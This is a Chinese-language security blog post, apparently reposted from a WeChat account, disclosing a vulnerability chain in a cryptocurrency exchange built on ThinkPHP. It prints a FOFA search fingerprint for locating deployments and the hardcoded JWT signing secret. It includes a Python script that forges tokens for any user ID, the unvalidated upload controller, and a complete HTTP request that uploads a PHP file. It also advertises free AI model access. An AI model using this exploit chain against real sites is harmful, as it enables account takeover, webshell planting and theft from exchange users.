【组合拳】某币币期权多语言交易所前台任意文件上传漏洞

admin 2026-05-27 05:26:13 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档披露某多语言数字货币交易所存在前台任意文件上传漏洞,核心问题为JWT签名密钥硬编码导致可伪造任意用户令牌,结合未授权文件上传功能可实现Webshell植入。漏洞位于ThinkPHP框架的JwtAuth.php和Member.php,文章提供了完整的Python利用工具和HTTP攻击载荷。关键发现包括权限绕过机制和文件上传路径可控性,建议立即更换密钥并加强文件类型验证。 综合评分: 85 文章分类: 漏洞分析,WEB安全,代码审计,渗透测试,安全工具


cover_image

【组合拳】某币币期权多语言交易所前台任意文件上传漏洞

原创

XingYue404 XingYue404

星悦安全

2026年5月25日 14:05 浙江

在小说阅读器读本章

去阅读

点击上方蓝字关注我们 并设为星标

0x00 前言

有币币交易、期权交易、永续合约、Defi借贷、新币申购、矿机投资理财等功能,还可以发行空气币(平台币),后台能控制期权交易订单的输赢,期权交易类似秒合约交易,感觉没多大区别,充值提现都是虚拟币,推广带三级分销,币种可以相互划转

fofa指纹 : “/index/seconds/index.html”

框架:ThinkPHP 6.1.4  Debug:True

0x01 漏洞研究 & 复现

位于 app/uniapp/common/JwtAuth.php 中的JWT 签名密钥被硬编码为:TP6&*fox1988#$LJL*&^&*1989

uid直接来自 token claim,可签发任意uid的 JWT,进一步访问uniappapi中需要登录的接口,包括上传、提现、资料修改等,根据代码可直接编写JWT伪造工具。

#!/usr/bin/env python3
import argparse
import base64
import hashlib
import hmac
import json
import time
from datetime import datetime, timezone

DEFAULT_SECRET = "TP6&*fox1988#$LJL*&^&*1989"
DEFAULT_ISS = "fox.com"
DEFAULT_AUD = "tp6_server_app"

def base64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).decode("ascii").rstrip("=")

def make_jwt(payload: dict, secret: str) -> str:
    header = {"typ": "JWT", "alg": "HS256"}
    header_part = base64url(json.dumps(header, separators=(",", ":")).encode("utf-8"))
    payload_part = base64url(json.dumps(payload, separators=(",", ":")).encode("utf-8"))
    signing_input = f"{header_part}.{payload_part}".encode("ascii")
    signature = hmac.new(secret.encode("utf-8"), signing_input, hashlib.sha256).digest()
    return f"{header_part}.{payload_part}.{base64url(signature)}"

def build_payload(){
    中间省略一段
    }

def format_utc(ts: int) -> str:
    return datetime.fromtimestamp(ts, timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC")

def main() -> int:
    parser = argparse.ArgumentParser(description="Forge JWT for the audited ThinkPHP project.")
    parser.add_argument("--uid", type=int, default=2, help="target user id, default: 2")
    parser.add_argument(
        "--type",
        choices=["uniapp", "api", "both"],
        default="uniapp",
        help="token type, default: uniapp",
    )
    parser.add_argument("--days", type=int, default=365, help="token lifetime in days, default: 365")
    parser.add_argument("--hours", type=int, default=0, help="extra token lifetime in hours")
    parser.add_argument("--secret", default=DEFAULT_SECRET, help="JWT HMAC secret")
    parser.add_argument("--iss", default=DEFAULT_ISS, help="JWT issuer")
    parser.add_argument("--aud", default=DEFAULT_AUD, help="JWT audience")
    args = parser.parse_args()

&nbsp; &nbsp;&nbsp;if&nbsp;args.uid <=&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;SystemExit("Invalid --uid")

&nbsp; &nbsp; ttl = args.days *&nbsp;86400&nbsp;+ args.hours *&nbsp;3600
&nbsp; &nbsp;&nbsp;if&nbsp;ttl <=&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;SystemExit("Invalid lifetime, use --days or --hours")

&nbsp; &nbsp; now = int(time.time())
&nbsp; &nbsp; token_types = ["uniapp",&nbsp;"api"]&nbsp;if&nbsp;args.type ==&nbsp;"both"&nbsp;else&nbsp;[args.type]

&nbsp; &nbsp;&nbsp;for&nbsp;token_type&nbsp;in&nbsp;token_types:
&nbsp; &nbsp; &nbsp; &nbsp; payload = build_payload(token_type, args.uid, now, ttl, args.iss, args.aud)
&nbsp; &nbsp; &nbsp; &nbsp; token = make_jwt(payload, args.secret)

&nbsp; &nbsp; &nbsp; &nbsp; print(f"===&nbsp;{token_type}&nbsp;JWT ===")
&nbsp; &nbsp; &nbsp; &nbsp; print(f"uid:&nbsp;{args.uid}")
&nbsp; &nbsp; &nbsp; &nbsp; print(f"payload:&nbsp;{json.dumps(payload, separators=(',',&nbsp;':'))}")
&nbsp; &nbsp; &nbsp; &nbsp; print(f"expires_at:&nbsp;{format_utc(payload['exp'])}")
&nbsp; &nbsp; &nbsp; &nbsp; print("token:")
&nbsp; &nbsp; &nbsp; &nbsp; print(token)
&nbsp; &nbsp; &nbsp; &nbsp; print(f"Authorization: Bearer&nbsp;{token}")
&nbsp; &nbsp; &nbsp; &nbsp; print()

&nbsp; &nbsp;&nbsp;return&nbsp;0

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp;&nbsp;raise&nbsp;SystemExit(main())

然后直接运行工具,即可生成用户id为2的JWT,可直接进行访问其可控接口

前台权限绕过+文件上传组合拳:

由于本方法需要普通用户权限,所以可以结合JWT伪造漏洞直接组合拳.

位于 /app/uniapp/controller/Member.php 中的 upload_card 方法直接调用Filesystem::disk('public')->putFile()写入public/upload/cards/{uid},导致漏洞产生.

public function upload_card()
{
&nbsp; &nbsp; $data = [
&nbsp; &nbsp; &nbsp;&nbsp;'file'&nbsp;=> request()->file('file'),
&nbsp; &nbsp;];
&nbsp; &nbsp;$data['paths'] =&nbsp;'upload/cards/'&nbsp;. $this->member['id'];
&nbsp; &nbsp;// $this->validate($data,&nbsp;'Pic');
&nbsp; &nbsp;//&nbsp;try&nbsp;{
&nbsp; &nbsp;// &nbsp; &nbsp; $this->validate($data,&nbsp;'Pic');
&nbsp; &nbsp;// } catch (\Exception $e) {
&nbsp; &nbsp;// &nbsp;return&nbsp;$this->up_message(1, $e->getMessage());
&nbsp; &nbsp;// }
&nbsp; &nbsp;$fileName = date('YmdHis') . rand(1000,&nbsp;9999);
&nbsp; &nbsp;$savename = \think\facade\Filesystem::disk('public')->putFile($data['paths'], $data['file'], function () use ($fileName) {
&nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;$fileName;
&nbsp; });

&nbsp;&nbsp;if&nbsp;($savename) {
&nbsp; &nbsp; &nbsp; $path =&nbsp;'/'&nbsp;. $savename;
&nbsp; &nbsp; &nbsp; $rdata = [];
&nbsp; &nbsp; &nbsp; $rdata['url'] = $path;
&nbsp; &nbsp; &nbsp; $rdata['src'] = server_url() . $path;
&nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;$this->up_message(0, lang('public.upload_ok'), $rdata);
&nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;$this->up_message(1, lang('public.upload_fail'));
&nbsp; }
}

Payload:

POST /uniapp/member/upload_card HTTP/1.1
Host: 192.168.140.128
Content-Length: 197
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytWIvtdAsZeAHIKQN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Origin: http://192.168.140.128
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.140.128/uniapp/member/upload_card
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
token: 你生成的用户JWT
Connection: close

------WebKitFormBoundarytWIvtdAsZeAHIKQN
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundarytWIvtdAsZeAHIKQN--

0x02 同款漏洞

标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,交易所

本漏洞完全由星悦AI中转提供的GPT5.5挖掘.

https://www.xyusec.com/

DeepSeek-v4-flash DeepSeek-v4-Pro

Glm-5 Glm-5.1 kimi-k2.5 miniMax-M2.5 Qwen3-235B-A22B Qwen3.5-397B-A17B

以上模型全部免费使用,还可以进群领取5$

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!****


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星悦安全 XingYue404 XingYue404《【组合拳】某币币期权多语言交易所前台任意文件上传漏洞》

评论:0   参与:  0